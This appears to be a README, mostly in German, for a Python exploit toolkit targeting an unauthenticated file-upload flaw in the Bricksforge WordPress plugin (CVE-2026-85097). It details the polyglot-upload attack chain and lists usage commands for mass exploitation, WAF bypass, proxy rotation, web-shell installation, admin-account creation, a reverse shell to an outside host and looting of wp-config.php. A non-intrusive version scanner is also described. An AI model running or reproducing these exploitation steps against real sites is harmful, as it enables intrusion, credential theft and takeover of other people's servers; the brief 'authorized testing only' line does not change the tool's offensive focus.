
Python-Toolkit für CVE-2026-85097: nutzt die nicht authentifizierte Datei-Upload-Schwachstelle in Bricksforge WordPress aus, um über polyglotte Payloads RCE zu erreichen, plus ein nicht-intrusiver Scanner zur Versionserkennung.

CVSS 10.0
Exploit-Toolkit und sicherer Erkennungsscanner
Nur für autorisierte Sicherheitstests.
CVE-2026-85097 ist eine kritische Schwachstelle für nicht authentifizierten beliebigen Datei-Upload im Bricksforge WordPress-Plugin (Versionen 3.1.8.9 und älter). Sie ermöglicht es entfernten Angreifern, die MIME-Validierung zu umgehen und vom Angreifer kontrollierte PHP-Dateien in das Uploads-Verzeichnis hochzuladen, was zur Remote-Code-Ausführung als Benutzer des Webservers führt.
Nonce-Abruf: Die AJAX-Aktion bricksforge_regenerate_nonce ist mit wp_ajax_nopriv_ registriert, wodurch nicht authentifizierte Angreifer eine gültige REST-Nonce erhalten können.
Polyglot-Upload: Der REST-Endpunkt form_file_upload validiert den MIME-Typ der hochgeladenen Datei. Eine Polyglot-Datei (gültiger PNG/GIF-Header gefolgt von PHP-Code) besteht diese Prüfung.
Vertrauen in Metadaten: Bei der Formularübermittlung vertraut das Plugin auf vom Client gelieferte Metadaten im Parameter temporaryFileUploads. Das Feld file verweist auf das validierte Polyglot, während das Feld url den vom Angreifer gewählten Dateinamen enthält (einschließlich der Erweiterung .php).
PHP-Ausführung: Die copy()-Senke des Plugins verwendet den vom Angreifer gelieferten url-Wert wörtlich als Ziel-Dateinamen. Die Polyglot-Datei wird innerhalb von wp-content/uploads/YYYY/MM/ in .php umbenannt und beim Zugriff ausgeführt.
| Attribut | Wert |
|---|---|
| [>] Entdeckt | Oktober 2026 (Patchstack) |
| [>] CVSS-Score | 10.0 (KRITISCH) |
| [>] CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) |
| [>] Betroffenes Plugin | Bricksforge (Pro Forms-Modul) |
| [>] Betroffene Versionen | 3.1.8.9 und älter |
| [>] Behobene Version | 3.1.8.10 |
| [>] Authentifizierung | Nicht erforderlich (Pre-Auth) |
| [>] Aktive Ausnutzung | In freier Wildbahn bestätigt (Oktober 2026) |
Das Exploit-Toolkit verkettet den Nonce-Abruf, den Polyglot-Upload, die Metadaten-Manipulation und die PHP-Ausführung zu einem einzigen automatisierten Workflow, mit erweiterten Funktionen für Massenscanning, OPSEC und Post-Exploitation.
| Funktion | Beschreibung |
|---|---|
| [+] Vollständige Angriffskette | Nonce-Abruf, Polyglot-Upload, Formularübermittlung, Shell-Verifizierung |
| [+] Polyglot-Payloads | PNG-tEXt-Chunk- und GIF-Kommentar-Erweiterungsvarianten |
| [+] Massenscanning | Paralleles Scannen mit Thread-Pool |
| [+] Post-Exploitation | Web-Shell-Installation, Erstellung von Admin-Benutzern, Reverse Shell, Datei-Exfiltration |
| [+] Befehlsausführung | Ausführen beliebiger Befehle auf bestätigten Shells |
| [+] Sichere Erkennung | Separater nicht-intrusiver Scanner (safechecker.py) |
| [+] WAF-Umgehung | Header-Spoofing, User-Agent-Rotation, Erweiterungs-Encoding |
| [+] Proxy-Unterstützung | SOCKS5-, SOCKS4-, HTTP-Proxys mit Rotationsstrategien |
| [+] Mehrere Ausgabeformate | JSON, CSV, HTML, JSONL, SQLite |
| [+] Thread-sicher | Verwendet Sperrmechanismen für parallele Operationen |
| [+] Ratenbegrenzung | Globaler Rate-Limiter mit Jitter und Verzögerung |
| [+] Plattformübergreifend | Unterstützt Linux, macOS, BSD, WSL |
| Phase | Beschreibung |
|---|---|
nonce | Abrufen einer gültigen REST-Nonce über die nicht authentifizierte AJAX-Aktion |
upload | Hochladen eines Polyglot-PNG/GIF, das die MIME-Validierung besteht |
submit | Übermitteln des Formulars mit Metadaten, die auf das Polyglot und eine .php-URL verweisen |
verify | Zugriff auf die hochgeladene Shell und Bestätigung der Befehlsausführung |
exploit | Installieren einer Web-Shell, Erstellen eines Admins, Auslösen einer Reverse Shell, Exfiltrieren von Dateien |
Der sichere Verifizierer (safechecker.py) führt eine nicht-intrusive Schwachstellenerkennung durch, ohne Payloads hochzuladen, Formulare zu übermitteln oder das Ziel zu verändern.
| Funktion | Beschreibung |
|---|---|
| [+] WordPress-Erkennung | Identifiziert WordPress-Instanzen anhand mehrerer Muster |
| [+] Plugin-Erkennung | Bestätigt das Vorhandensein von Bricksforge über HTML und statische Dateien |
| [+] Versionserkennung | Erkennt spezifische Plugin-Versionen |
| [+] REST-Routen-Prüfung | Zählt exponierte Bricksforge-REST-Endpunkte auf |
| [+] Nonce-Endpunkt-Probe | Optionale Prüfung des Nonce-Endpunkts (--probe-nonce) |
| [+] Debug-Log-Prüfung | Untersucht wp-content/debug.log auf Plugin-Spuren |
| [+] Nicht-intrusiv | Identifiziert nur anfällige Versionen und exponierte Endpunkte |
| [+] JSON/CSV/SQL/JSONL-Ausgabe | Exportiert Ergebnisse für die Berichterstattung |
| [+] Massenscanning | Scannt mehrere Ziele mit Threading-Unterstützung |
pip (für die requests-Bibliothek)pip install requests urllib3
git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py
exploit.py)# Single target exploit
python3 exploit.py -u https://target.com --exploit
# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"
# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json
# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell
# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"
# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"
# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot
# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin
# Jitter and rate limiting
python3 exploit.py -f targets.txt --jitter --jitter-range 0.5,3.0 --rate-limit 5
# Custom User-Agent and insecure TLS
python3 exploit.py -u https://target.com --user-agent "CustomBot/1.0" --insecure